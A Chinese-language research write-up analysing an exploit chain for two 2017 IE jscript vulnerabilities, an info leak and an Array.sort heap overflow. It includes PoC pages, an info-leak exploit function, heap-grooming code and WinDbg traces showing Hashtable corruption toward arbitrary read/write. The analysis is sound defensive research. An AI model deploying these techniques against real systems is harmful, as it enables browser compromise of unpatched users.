CVE-2017-11906 && CVE-2017-11907 组合漏洞分析笔记
2019-12-21 03:30:12 Author: bbs.pediy.com(查看原文) 阅读量:343 收藏
目录

IE脚本引擎0day

在分析本次jscript组合漏洞之前，先跟随笔者回顾一下近几年的IE 0day，这里重点关注脚本引擎(vbscript/jscript/jscript9)相关的0day:

漏洞编号 脚本引擎类型 修复时间
CVE-2016-0189 vbscript 2016年05月
CVE-2017-0149 vbscript 2017年03月
CVE-2018-8174 vbscript 2018年05月
CVE-2018-8373 vbscript 2018年08月
CVE-2018-8653 jscript 2018年12月
CVE-2019-1367 jscript 2019年09月
CVE-2019-1429 jscript 2019年11月

接着跟随笔者一起看一下vbscript漏洞与利用相关的一些时间点：

  1. 2014年08月，TK在BlackHat USA上做了题为《Write Once, Pwn Anywhere》的演讲，里面提出了一些IE浏览器利用的崭新思路(里面主要以jscript9为例)；

  2. 2014年11月更新修复了yuange珍藏多年的CVE-2014-6332，于是yuange发布了他写的CVE-2014-6332的利用，公布了一种之前没有用过的利用方法(yuange称为DVE)；

  3. 2016年05月，CVE-2016-0189这个vbscript 0day被修复，根据后续获得的细节，原始0day里面用到了TK文章里的利用编写方法。2016年06月国外安全研究员Theori公开了逆向2016年05月补丁后写出的CVE-2016-0189利用代码，从此这份代码被广泛用于挂马；

  4. 2017年02月，CVE-2017-0149这个vbscript 0day被用于实际攻击，微软在2017年03月修补了这个漏洞。在360于2018年底公布这个漏洞的相关细节前，这个漏洞基本上不为人知。根据后续获得的细节，这个漏洞的利用编写方式，除了新增部分Bypass CFG的代码，其手法和CVE-2016-0189的原始利用完全一致；

  5. 2018年04月，微软的补丁中修复了一个vbscript模块的远程代码执行漏洞(CVE-2018-1004)，如果读者看过ZDI的《IT’S TIME TO TERMINATE THE TERMINATOR》这篇文章，就知道CVE-2018-1004已经涉及到vbscript的|Class_Terminate|回调。此时如果有一个手握类似0day的卖家，知道|Class_Terminate|回调函数即将引起微软的注意，一定非常急于出手，因为他知道这类0day距离被修补不远了；

  6. 2018年04月下旬，CVE-2018-8174这个vbscript 0day被用在实际攻击中，这个漏洞和CVE-2018-1004非常相似，同样涉及到|Class_Terminate|回调。相关利用手法和前两个vbscript完全一致，但这次没有Bypass CFG部分的代码，说明攻击目标可能是Windows 7操作系统；

  7. 2018年07月补丁后，CVE-2018-8373这个vbscript 0day被用于实际攻击，微软在2018年08月更新中修复了该漏洞。这个漏洞的利用代码同时借助vbscript和jscript9的语言特性来实现相关功能，并且用覆盖栈返回地址的方式Bypass CFG，说明利用编写着对vbscript和jscript9两个脚本引擎的内部实现非常熟悉；

  8. 2019年08月，微软进一步在win7/win8上禁用了IE11中的vbscript

再跟随笔者看一下jscript相关漏洞的一些时间点：

  1. 2017年12月，微软修复了多个谷歌报告的jscript漏洞，随后谷歌发布了一篇长文《aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript》，详细介绍了Windows 10下利用WPAD协议，借助jscript漏洞进行攻击的方式。作者在文中对此类攻击方式表示担忧，并预测jscript模块中还有其他类似漏洞；

  2. 2018年12月，微软修复了一个jscript远程代码执行漏洞CVE-2018-8653，这个漏洞的攻击方式采用的正是一年前谷歌文章中的方法，这次攻击的出现令原作者的担忧一语成谶；

  3. 2019年08月，微软进一步在win7/win8上禁用了IE11中的vbscript，此时如果有一个专业的脚本引擎漏洞发现者/写手/卖家，一定会将开发重心进一步切换到jscript；

  4. 2019年09月，微软又修复了一个jscript 0day，编号为CVE-2019-1367；从有限的披露信息《Patch Lady – what’s the real risk?》中(文末有参考链接)，我们可以知道这个漏洞是通过网页挂马的方式进行攻击的，发送给受害者的是内嵌url的docx文档，并且后续操作也涉及到了WPAD；

  5. 2019年11月，微软再次修复一个jscript 0day，编号为CVE-2019-1429，这个漏洞同时被谷歌的Ivan Fratric独立报告给微软，网上目前已有该漏洞的PoC；

根据上述趋势，只要微软不禁用jscript，接下来还会有jscript的在野0day出现。vbscript和jscript是微软早期开发的两个脚本引擎，所以安全性问题较多。与vbscript漏洞的利用细节已经被广泛公开不同，关于jscript漏洞利用的手法，除了谷歌的上述文章，网上基本没有更多细节，所以jscript漏洞的调试目前仍然很难上手。

站在防御者的角度，我们必须预测攻击趋势，并且在攻击者实施下一步攻击之前进行有效防御。从这个出发点考虑，我们必须对jscript系列漏洞的利用方式有所了解。这一步骤完成后，当后面再出现jscript漏洞时，对漏洞原因/利用方式的分析的时间成本也都会降低。所以，选择一个jscript漏洞进行一番研究是非常有意义的。

基于上述考虑，笔者最近对《aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript》这篇文章中涉及到的漏洞进行了详细调试（谷歌慷慨地公开了相关exploit代码，不过只针对win10 64位），根据文章中给出的步骤一步一步在32位环境上复现了RCE。在这个过程中同时参考了安恒信息安全研究院另一篇分析文章(以下称这篇文章为“之前的分析文章”)。

整套利用代码涉及两个漏洞，一个信息泄露漏洞(CVE-2017-11906)和一个堆溢出漏洞(CVE-2017-11907)，这是一个组合漏洞利用链，整个利用链的编写需要注意许多细节，下面先跟随笔者来详细看一下这两个漏洞，然后讨论这个jscript漏洞利用链编写中需要注意的地方。

CVE-2017-11906

这是jscript的一个信息泄露漏洞。利用代码中需要借助该漏洞泄露一块稳定的内存地址，用来存储伪造的Jscript Object Memory结构。我们先来看一下该漏洞的官方PoC：

<html>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>

<script language="Jscript.Encode">

function go() {
    var r = new RegExp(Array(100).join('()'));
    ''.search(r);
    alert(RegExp.lastParen);
}

go();

</script>

</html>

我这里直接引用之前的分析文章中的话来描述这个漏洞：

“这个信息泄露漏洞存在于RegExp.lastParen中，在调用任一RegExp.test、RegExp.exec或者String.search后，jscript!RegExpFncObj中会用数组保存group信息，这些信息实际上是匹配到的内容的开始位置和结束位置。由于用来保存group信息的数组大小固定为20*4(32位程序中)，也就是一共有10组group信息，所以当匹配到的group数量大于10时，RegExp.lastParen过大的下标会导致取值时发生越界读操作。数组中保存的起始位置和结束位置能够提供更大的可读空间，所以可以通过控制数组中的值来控制越界读的范围。”

在这个漏洞的具体使用中，我们主要关注的是RegExp.lastParen函数末尾的一处memcpy，如下：

memcpy有3个参数：Dst，Src，Size。当PoC中的Array(x)的x大小满足一定条件时，Dst对应调用RegExp.lastParen返回给我们的字符串，Src为被search的字符串(假设为str)首地址，Size完全可控，可以通过设置RegExp.input的值去控制Size，所以只要我们设置的RegExp.input超出str.length，即可实现越界读取。关于32位下Array(X)内x的取值，之前的分析文章中已经指出：

“观察jscript!RegExpFncObj可以发现，如果用31个空括号组成的RegExp去搜索，同时在搜索结束后设置RegExp.input为任意整数，那么RegExp.lastParen的起始值为0而结束值则为RegExp.input设置的整数。”

上述结论在笔者的测试环境中得到了验证。

知道上述关键点后，读者就知道上述漏洞的利用实质是控制memcpy的相关参数，从而越界读取被search的字符串后紧邻的数据。由于非LFH堆的堆块在释放后，头部会存储一些指向下一个堆块的指针。如果我们可以在非LFH堆中连续申请许多等长字符串，然后释放其中的一半(奇数保留，偶数释放)，从而造成大量交替的内存空洞。随后对某个奇数索引对应的字符串进行search，借助这个信息泄露漏洞，就可以越界读取相邻的处于free状态的堆块里存储的另一个被free的堆块指针。读取相应指针后，再立即用设计好的字符串重用之前被释放的字符串。这样泄露出来的指针就指向一块已经被控的内存。

这部分的代码最终如下：

function infoleak() {
    var str = "aaaaaaaaaa";

    while(str.length < 10000)
        str = str + str;

    for(var i=0; i<1000; i++) {
        strarr[i] = str.substr(0,10000);
    }

    for(var i=0; i<500; i++) {
        strarr[i*2] = 1;
    }

    CollectGarbage();

    var x = 0x2738;
    var r = new RegExp(Array(32).join('()'));
    strarr[737].search(r);
    RegExp.input = x;
    var leak = RegExp.lastParen;
    if(leak.length != 0x2738) {
        return 0;
    }

    if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2736) != 0x61)) {
        return 0;
    }

    straddress = dwordFromStr(leak, 0x271c) + 4;

    if(!isAddress(straddress)) {
        return 0;
    }

    // 此处编写对straddress地址的重用代码   

    return 1;
}

现在跟随笔者打开一次调试器，利用上面的js代码，我们在上述memcpy处下一个断点，看一下这3个参数在调试器中的情况：

0:018> bp jscript+31607
0:018> g
Breakpoint 0 hit
eax=0623ea74 ebx=00002738 ecx=028a6498 edx=0623ea74 esi=028a94d8 edi=028a9670
eip=69671607 esp=033fb2fc ebp=033fb31c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!RegExpFncObj::LastParen+0xa3:
69671607 e89661fdff      call    jscript!memcpy (696477a2)

0:007> dps esp l3
033fb2fc  05afd8e4 <- Dst
033fb300  0623ea74 <- Src
033fb304  00004e70 <- Size

// Dst是一片大小为0x4e80的内存
0:007> !heap -p -a 05afd8e4
    address 05afd8e4 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        05afd8d8 09d1 0000  [00]   05afd8e0    04e80 - (busy)

// Dst能存储的有效字符串大小为0x2738
0:007> ? (04e80-0x10)/2
Evaluate expression: 10040 = 00002738

// Src是一片大小为0x4e30的内存
0:007> !heap -p -a 0623ea74
    address 0623ea74 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0623ea68 09c7 0000  [00]   0623ea70    04e30 - (busy)

// Src里面的有效字符串大小为0x2710(0n10000)
0:007> ? (04e30-0x10)/2
Evaluate expression: 10000 = 00002710

// 前4字节存储长度
0:007> dc 0623ea70    
0623ea70  00004e20 00610061 00610061 00610061   N..a.a.a.a.a.a.
0623ea80  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623ea90  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eaa0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eab0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eac0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623ead0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eae0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 每个字符串最后再按0x10进行对齐补0，因此总长度会比预想的多0x10
0:007> dc 0623ea70+4e30-10 
06243890  00610061 00000000 00000000 00000000  a.a.............
062438a0  9ab2c61a 00349350 0624d518 06239c38  ....P.4...$.8.#.
062438b0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438c0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438d0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438e0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438f0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243900  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 再来看一下此时的内存分布
0:007> !heap -flt s 4e30
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        06239c30 09c7 09c7  [00]   06239c38    04e30 - (free)
        0623ea68 09c7 09c7  [00]   0623ea70    04e30 - (busy) <- 被越界读取的字符串
        062438a0 09c7 09c7  [00]   062438a8    04e30 - (free) <- 此时它右边相邻的字符串处于被释放状态
        062486d8 09c7 09c7  [00]   062486e0    04e30 - (busy)
        ...
    _HEAP @ 10000
    _HEAP @ 4b0000
    _HEAP @ 25e0000
    _HEAP @ 2c00000

// 可以看到这个处于free状态的字符串的内存最前部存储着两个指针
0:007> dc 062438a8(谷歌的文章说win10下这个地方是一个红黑树结构的3个指针，以下为win7下的日志，这里只有2个指针)
062438a8  0624d518 06239c38 00610061 00610061  ..$.8.#.a.a.a.a.
062438b8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438c8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438d8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438e8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438f8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243908  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243918  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 看一下第一个指针的相关内存
0:007> !heap -p -a 0624d518
    address 0624d518 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0624d510 09c7 0000  [00]   0624d518    04e30 - (free)

// 正是另一块处于free状态的等大小内存
0:007> dc 624d518
0624d518  06257188 062438a8 00610061 00610061  .q%..8$.a.a.a.a.
0624d528  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d538  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d548  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d558  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d568  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d578  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d588  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

读者已经知道，0x624d518处这块内存被重用后，从第4字节开始才存储实际字符串内容(因为有长度域和2个0x00字节)，所以需要加4，接下来我们要做的就是用精心伪造的数据重新占用0x624d518这块内存：

0:015> !heap -p -a 0624d518
    address 0624d518 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0624d510 09c7 0000  [00]   0624d518    04e30 - (busy) <- 已经变成busy状态

// 字符串头部已经被Fake Object Memory的数据占据
0:015> dc 624d518
0624d518  00004e20 00610061 00610061 00610061   N..a.a.a.a.a.a.
0624d528  00610061 00000003 00000000 00000539  a.a.........9...
0624d538  00000000 00000000 00000000 00000402  ................
0624d548  00000004 00610061 00610061 00610061  ....a.a.a.a.a.a.
0624d558  00610061 00390039 00000000 0000400c  a.a.9.9......@..
0624d568  00000000 06239c40 00000000 00000000  ....@.#.........
0624d578  00000000 00003c0a 00000006 00610061  .....<......a.a.
0624d588  00610061 00610061 00610061 00330032  a.a.a.a.a.a.2.3.

上述过程图示如下：

到这里，信息泄露部分的利用就大功告成了。我们通过这个信息泄露漏洞得到了straddress这块内存，并且里面的数据稳定可控。

CVE-2017-11907

这是jscript中的一个堆溢出漏洞。导致这个漏洞的根源是toString回调可以打破Array.sort过程中的“原子操作”。这里也直接用之前的分析文章的话来描述这个漏洞：

“在处理如下(1)处的调用时，如果Array.sort输入数组的长度大于Array.length/2，jscript.dll会逐个将数组arr中的元素转化为String。转化的第一步是分配作为存储转化后String变量的内存空间，而分配的大小由当前arr数组中存在的元素的个数决定。转化的第二步是从0到Array.length逐个数组转换元素。转换过程中如果元素存在，那么元素会被转化为String，并写入第一步分配的内存空间中。由于arr[0]的toString回调方法的存在，在转换arr[0]时，(2)标示位置的代码会被执行，(2)代码执行后arr数组中实际存在的元素个数会增加，而第一步分配的内存不会重新分配，于是之后的转换过程中便会导致堆溢出。”

<html>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>

<script language="Jscript.Encode">

var arr = new Array(1000);

for(var i=1; i<600; i++) arr[i] = i;

var o = {toString:function() {
    for(var i=600; i<1000; i++) {
        arr[i] = 1337; <- (2)
    }
}}

function go() {
    arr[0] = o;
    Array.prototype.sort.call(arr); <- (1)
}

go();

</script>

</html>

上述过程存在于jscript!JsArrayStringHeapSort和jscript!JsArrayFunctionHeapSort两个函数中。开发者在设计这个转换过程，理所应当地认为这里申请内存和紧随的复制是原子操作，不会被打破，但潜在的toString回调打破了这一原子操作，导致了漏洞的产生。

jscript这种堆溢出的漏洞如何进行利用呢？谷歌的大牛们给出的思路是利用越界写改写某个jscript对象的Hashtable中的相关表项，使之导向之前信息泄露得到的内存中伪造的数据，在此基础上实现任意地址读写。

任意地址读写

要构造出任意地址读写原语，我们必须对相关结构在内存中的分布情况，以及分配对象时的堆内存分配情况非常清楚，这些内存相关的问题包括但不限于如下：

  1. VAR的内存结构；
  2. Hashtable，Hashtable内存储着一个个Object Memory指针；
  3. Object Memory的内存结构(我们需要在泄露出的内存处构造假的Object Memory)；
  4. 如何激活指定大小的LFH桶(开启LFH可以让相同内存的分配变得线性可控)；
  5. 如何让Hashtable的内容和sort过程中临时分配的内存处于相邻状态；
  6. 在5的基础上如何实现精确覆盖；
  7. 如何构造假的Object Memory才能使Hashtable的查找工作在shellcode执行前保持正常；
  8. 需要构造哪些假的Object Memory才能使我们具备任意地址读写能力；

这些细节在谷歌的文章和之前的分析文章中都已经有过细节描述。不过谷歌的文章和公开的相关代码侧重于win10 x64下借助WPAD进行攻击的细节，相关细节并不能拿来在32位浏览器利用中直接使用。而之前的分析文章已经将上述1、2、3、5、8这几个问题描述清楚。所以笔者下面先简要通过上述文献引用1、2、3、5、6、8的部分细节，随后对4、7这几点进行补充说明。

1 - VAR结构，jscript中代表变量的VAR和vbscript基本一致，32位下大小为0x10，结构如下：

// size of VAR = 0x10
+0x00 type  size=0x02
+0x08 value size=0x04 
+0x0C extra size=0x04

2 - 直接引用之前的分析文章中的一张图来解释之：

3 - 见上图的Object Memory

4 - 后面单独解释

5 - 我们首先要了解jscript!JsArrayStringHeapSort函数中分配内存时给每一个Array元素分配空间的大小及内存结构。32位下，每一个Array中的元素都会在jscript!JsArrayStringHeapSort临时分配的内存中(以下将这块内存称为Sort Buffer)对应一个0x20的结构，具体结构如下:

// size = 0x20              说明
+0x00 pVARAfter  size=0x04  转化后的String VAR的指针
+0x04 index      size=0x04  当前元素在数组中的顺序
+0x08 VARBefore  size=0x10  转化前的VAR结构
+0x18 bValue     size=0x04  根据转化前的VAR的类型，为0或者1
+0x1C pad        size=0x04  用0补齐

再引用之前的分析文章中的一张图进行说明(重点为红色部分)：

如果Sort Buffer和Hashtable可以被分配在相邻的内存，那么通过堆溢出漏洞就可以实现覆写Hashtable，并且覆写的数据可以在自定义的toString回调中进行操控。由于32位下，每个jscript对象在初始化时，其Hashtable的初始大小为0x200，当对象的元素个数超过512个时，Hashtable的大小会被扩大到0x1000。因为Sort Buffer的大小为|0x20 * (used_arr_size + 1)|，所以我们可以定义一个长度足够的数组arr，初始化其中的前127(used_arr_size)个元素，就可以使jscript!JsArrayStringHeapSort中分配的Sort Buffer大小为0x1000。

由于低碎片堆中对特定大小的分配存在更大概率的线性关联，所以，如果我们先开启0x1000的LFH堆，然后先申请一部分jscript对象，将其中一部分对象的的元素个数扩大到513个，这会从LFH中申请一部分0x1000大小的内存。随后触发漏洞，往jscript!JsArrayStringHeapSort传入特定初始化大小的数组arr(并将其第1个元素设置为有自定义toString回调的对象)，在jscript!JsArrayStringHeapSort内部，会继续从LFH中为Sort Buffer申请一块大小为0x1000的内存，随后进入自定义的toString函数。

在toString中，先立即将另一部分jscript对象的元素个数扩大到513个，此次会再从LFH中申请一部分0x1000大小的内存。因为这些内存的申请都位于LFH内的0x1000大小桶中，所以Sort Buffer有很大的概率被0x1000大小的Hashtable“左右夹击”着。在toString的后半部分，对arr数组剩下的元素进行赋值，并将arr最后一个元素设置为也具有自定义toString回调函数的对象，便于后阶段的利用编写。

这样，当代码继续往下执行，已被扩大的arr中的元素被挨个复制到Sort Buffer这块内存时，超过|used_arr_size + 1|那部分的元素就会进行溢出，只要精心控制arr数组的元素，就可以实现精确覆盖相邻的Hashtable上的指针。

6 - 已在5中解释

7 - 后面单独解释

8 - 之前的分析文章中已对这里的细节进行详细描述：

“ 为了达到此目的需要构造5个假的jScript成员对象：var1只包含数据0x1337，作为寻找被覆盖对象的标识。var2的type为0x400c，表明这是个对象是指针，且偏移8的位置保存着指向实际对象的指针。设置偏移8的指针值设置为var1所在内存位置之前的12 byte，使得var2的最后4 byte和var1的前4 byte重合。var3、var4、var5都是整型，但是最后4 byte分别为3、8、0x400c。”

下面来讨论一些谷歌的分析文章和之前的分析文章中没有描述清楚的细节(也就是上述的4，7两点)。

如何激活大小为0x1000的LFH桶

由前面的分析已知：为了实现精确覆写，我们需要激活LFH中0x1000大小的桶，那么如何激活呢？谷歌给出的64位exploit中是借助如下代码开启0x2000的LFH桶：

// enable LFH for allocations with size ~0x2000
// function.apply causes malloc (array size * 24) & free to be called
function lfhf() { return 1; }
var lfharr = new Array(lfharrsize);
for(var i=0; i<5000; i++) {
    lfhf.apply({}, lfharr);
}

但是如果我们水平有限，无法确定32位下lfharrsize的大小(给jscript!JsFncApply下断点进行调试会断下非常多的次数，笔者在IDA中也无法直接看出里面申请内存的计算公式)，该如何激活0x1000大小的LFH桶呢？一种可行的方式就是先预先创建一些jscript对象(对象的数量必须超过低碎片堆的激活阈值)，并为其增加513个成员变量，然后随即将这些对象释放，这样就有一批0x1000大小的Hashtable被申请和释放：

// enable LFH for allocations with size 0x1000
var myarr = new Array(21);
for(var i=0; i<20; i++) {
    var o = {};
    for(var j=0; j<513; j++)
        o[j] = j;
    myarr[i] = o;
    myarr[i] = 0;
}

那么，我们能不能通过申请内存大小为0x1000的BSTR字符串来开启LFH。在笔者的实验环境下是不行的，谷歌的文章中也有类似的提示：

“A String VAR points directly to the character array, which means that, to obtain a String's length, the pointer needs to be decremented by 4 and the length read from there. Note that BSTRs are handled by OleAut32.dll and are allocated on a separate heap (i.e. a different heap than is being used for other JScript objects).

Freeing of BSTRs is also different than for most objects because, instead of directly freeing a BSTR, when SysFreeString is called, it first puts a string in a cache controlled by OleAut32.dll. This mechanism is described in detail in Heap Feng Shui in JavaScript.”

利用上述可行的技巧，我们在内存中看一下LFH中0x1000大小的桶在每个阶段的具体分布：

1 - 激活0x1000大小的LFH桶，并初始化“左相邻”的0x1000大小Hashtable后：

0:014> !heap -flt s 1000
    _HEAP @ 3b0000
    _HEAP @ 10000
    _HEAP @ 340000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        0b436110 0201 0201  [00]   0b436118    01000 - (busy)
        0b437118 0201 0201  [00]   0b437120    01000 - (busy)
        0b438120 0201 0201  [00]   0b438128    01000 - (busy)
        0b439128 0201 0201  [00]   0b439130    01000 - (busy) <- 左相邻的Hashtable
        0b43a130 0201 0201  [00]   0b43a138    01000 - (free)
        0b43b138 0201 0201  [00]   0b43b140    01000 - (free)
        ...
    _HEAP @ 1a70000
    _HEAP @ 1ee0000
    _HEAP @ 3750000

// Hashtable
0:014> dd 0b439130
0b439130  08c57c44 08c57c7c 08c57cb4 00000000
0b439140  00000000 08ca736c 08ca73a4 08ca73dc
0b439150  08ca7414 08ca744c 08ca7484 08ca74bc
0b439160  08ca74f4 08ca752c 08ca7564 00000000
0b439170  00000000 00000000 00000000 00000000
0b439180  00000000 00000000 08ca759c 08ca75d4
0b439190  08ca760c 08ca7644 08ca767c 08ca76b4
0b4391a0  08ca76ec 08ca7724 08ca775c 08ca7794

// Object Memory
0:014> dc 08c57c44 l38/4
08c57c44  00000003 00000000 00000061 00000000  ........a.......
08c57c54  00000000 00000000 00000400 00000004  ................
08c57c64  08c57c7c 00000000 00000062 00000000  ||......b.......
08c57c74  00370039 00000000                    9.7.....

2 - 在jscript!JsArrayStringHeapSort函数中根据sort的数组大小申请0x1000的Sort Buffer后：

0:014> bp jscript+2FBFB ".echo jscript!JsArrayStringHeapSort malloc; !heap -flt s 1000"
0:014> g
(e04.c88): Unknown exception - code 80010108 (first chance)
jscript!JsArrayStringHeapSort malloc
    _HEAP @ 3b0000
    _HEAP @ 10000
    _HEAP @ 340000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        0b436110 0201 0201  [00]   0b436118    01000 - (busy)
        0b437118 0201 0201  [00]   0b437120    01000 - (busy)
        0b438120 0201 0201  [00]   0b438128    01000 - (busy)
        0b439128 0201 0201  [00]   0b439130    01000 - (busy) <- 左相邻的Hashtable
        0b43a130 0201 0201  [00]   0b43a138    01000 - (busy) <- Sort Buffer
        0b43b138 0201 0201  [00]   0b43b140    01000 - (free)
        ...
    _HEAP @ 1a70000
    _HEAP @ 1ee0000
    _HEAP @ 3750000
    _HEAP @ 2070000

eax=0b43a138 ebx=00000000 ecx=770a2fe7 edx=00347d08 esi=00001000 edi=00000080
eip=6876fbfb esp=029eb054 ebp=029eb140 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!JsArrayStringHeapSort+0xb4:
6876fbfb 59              pop     ecx

3 - 在arr[0]的tostring回调中继续给另一部分jscript对象增加第513个成员后：

0:011> !heap -flt s 1000
    _HEAP @ 3b0000
    _HEAP @ 10000
    _HEAP @ 340000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        0b436110 0201 0201  [00]   0b436118    01000 - (busy)
        0b437118 0201 0201  [00]   0b437120    01000 - (busy)
        0b438120 0201 0201  [00]   0b438128    01000 - (busy)
        0b439128 0201 0201  [00]   0b439130    01000 - (busy) <- 左相邻的Hashtable
        0b43a130 0201 0201  [00]   0b43a138    01000 - (busy) <- Sort Buffer
        0b43b138 0201 0201  [00]   0b43b140    01000 - (busy) <- 右相邻的Hashtable
        0b43c140 0201 0201  [00]   0b43c148    01000 - (busy)
        0b43d148 0201 0201  [00]   0b43d150    01000 - (busy)
        0b43e150 0201 0201  [00]   0b43e158    01000 - (busy)
        0b43f158 0201 0201  [00]   0b43f160    01000 - (busy)
        0b440160 0201 0201  [00]   0b440168    01000 - (busy)
        ...
    _HEAP @ 1a70000
    _HEAP @ 1ee0000
    _HEAP @ 3750000
    _HEAP @ 2070000

0:011> dd 0b43b140
0b43b140  08c58d4c 08c58d84 08c58dbc 00000000
0b43b150  00000000 08ca9574 08ca95ac 08ca95e4
0b43b160  08ca961c 08ca9654 08ca968c 08ca96c4
0b43b170  08ca96fc 08ca9734 08ca976c 00000000
0b43b180  00000000 00000000 00000000 00000000
0b43b190  00000000 00000000 08ca97a4 08ca97dc
0b43b1a0  08ca9814 08ca984c 08ca9884 08ca98bc
0b43b1b0  08ca98f4 08ca992c 08ca9964 08ca999c

0:011> dc 08c58d4c l38/4
08c58d4c  00000003 00000000 00000061 00000000  ........a.......
08c58d5c  00000000 00000000 00000400 00000004  ................
08c58d6c  08c58d84 00000000 00000062 00000000  ........b.......
08c58d7c  00370039 00000000                    9.7.....

// 可以看到JsArrayStringHeapSort申请内存的后面紧随一个HEAP_ENTRY,随后即为Hashtable的数据
0:011> dd 0b43a138+0x20*0n128
0b43b138  1d0666ee 88000000 08c58d4c 08c58d84
0b43b148  08c58dbc 00000000 00000000 08ca9574
0b43b158  08ca95ac 08ca95e4 08ca961c 08ca9654
0b43b168  08ca968c 08ca96c4 08ca96fc 08ca9734
0b43b178  08ca976c 00000000 00000000 00000000
0b43b188  00000000 00000000 00000000 00000000
0b43b198  08ca97a4 08ca97dc 08ca9814 08ca984c
0b43b1a8  08ca9884 08ca98bc 08ca98f4 08ca992c

4 - 触发堆溢出，精确覆写右相邻的Hashtable

0:011> ba w4 0b43b148
0:011> g
Breakpoint 1 hit
eax=05950d2c ebx=00000080 ecx=00000088 edx=0699e74c esi=0699e74c edi=0b43b140
eip=6875b9ce esp=029eaff0 ebp=029eb048 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
jscript!ArrayObj::GetVal+0xbe:
6875b9ce 8b460c          mov     eax,dword ptr [esi+0Ch] ds:0023:0699e758=6874652c

0:007> k
ChildEBP RetAddr  
029eb048 6876fc76 jscript!ArrayObj::GetVal+0xbe
029eb140 6876fe7e jscript!JsArrayStringHeapSort+0x12f
029eb1b4 687479b0 jscript!JsArraySort+0x10d
029eb21c 68747891 jscript!NatFncObj::Call+0xe8
029eb2ac 6874453c jscript!NameTbl::InvokeInternal+0x2cb
029eb2e4 687a3c8d jscript!VAR::InvokeByDispID+0x53
029eb334 687479b0 jscript!JsFncCall+0xbd
029eb39c 68747891 jscript!NatFncObj::Call+0xe8
029eb42c 687466bc jscript!NameTbl::InvokeInternal+0x2cb
029eb520 68747622 jscript!VAR::InvokeByName+0x1b9
029eb56c 687475d6 jscript!VAR::InvokeDispName+0x3e
029eb598 687444a7 jscript!VAR::InvokeByDispID+0x310a
029eb990 687448ff jscript!CScriptRuntime::Run+0x12b9
029eba8c 68744783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
029ebae4 68744688 jscript!ScrFncObj::Call+0x7b
029ebb74 6874453c jscript!NameTbl::InvokeInternal+0x2cb
029ebba8 687444a7 jscript!VAR::InvokeByDispID+0x53
029ebfa0 687448ff jscript!CScriptRuntime::Run+0x12b9
029ec09c 68744783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
029ec0f4 68744cc3 jscript!ScrFncObj::Call+0x7b

// 可以看到Hashtable内0x0b43b148处存储的表项已经变成了05950d2c
0:007> dd 0b43a138+0x20*0n128
0b43b138  1d0666ee 88000000 770a0003 029eb3fc
0b43b148  05950d2c 00000000 00000000 08ca9574
0b43b158  08ca95ac 08ca95e4 08ca961c 08ca9654
0b43b168  08ca968c 08ca96c4 08ca96fc 08ca9734
0b43b178  08ca976c 00000000 00000000 00000000
0b43b188  00000000 00000000 00000000 00000000
0b43b198  08ca97a4 08ca97dc 08ca9814 08ca984c
0b43b1a8  08ca9884 08ca98bc 08ca98f4 08ca992c

// 而05950d2c正是我们通过信息泄露漏洞伪造得到的可控字符串
0:007> dc 05950d2c l38/4
05950d2c  00000003 00000000 00000539 00000000  ........9.......
05950d3c  00000000 00000000 00000402 00000004  ................
05950d4c  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
05950d5c  00390039 00000000                    9.9.....

0:007> ? 00000539
Evaluate expression: 1337 = 00000539

// 内存中伪造的5个精心设计的Object Memory
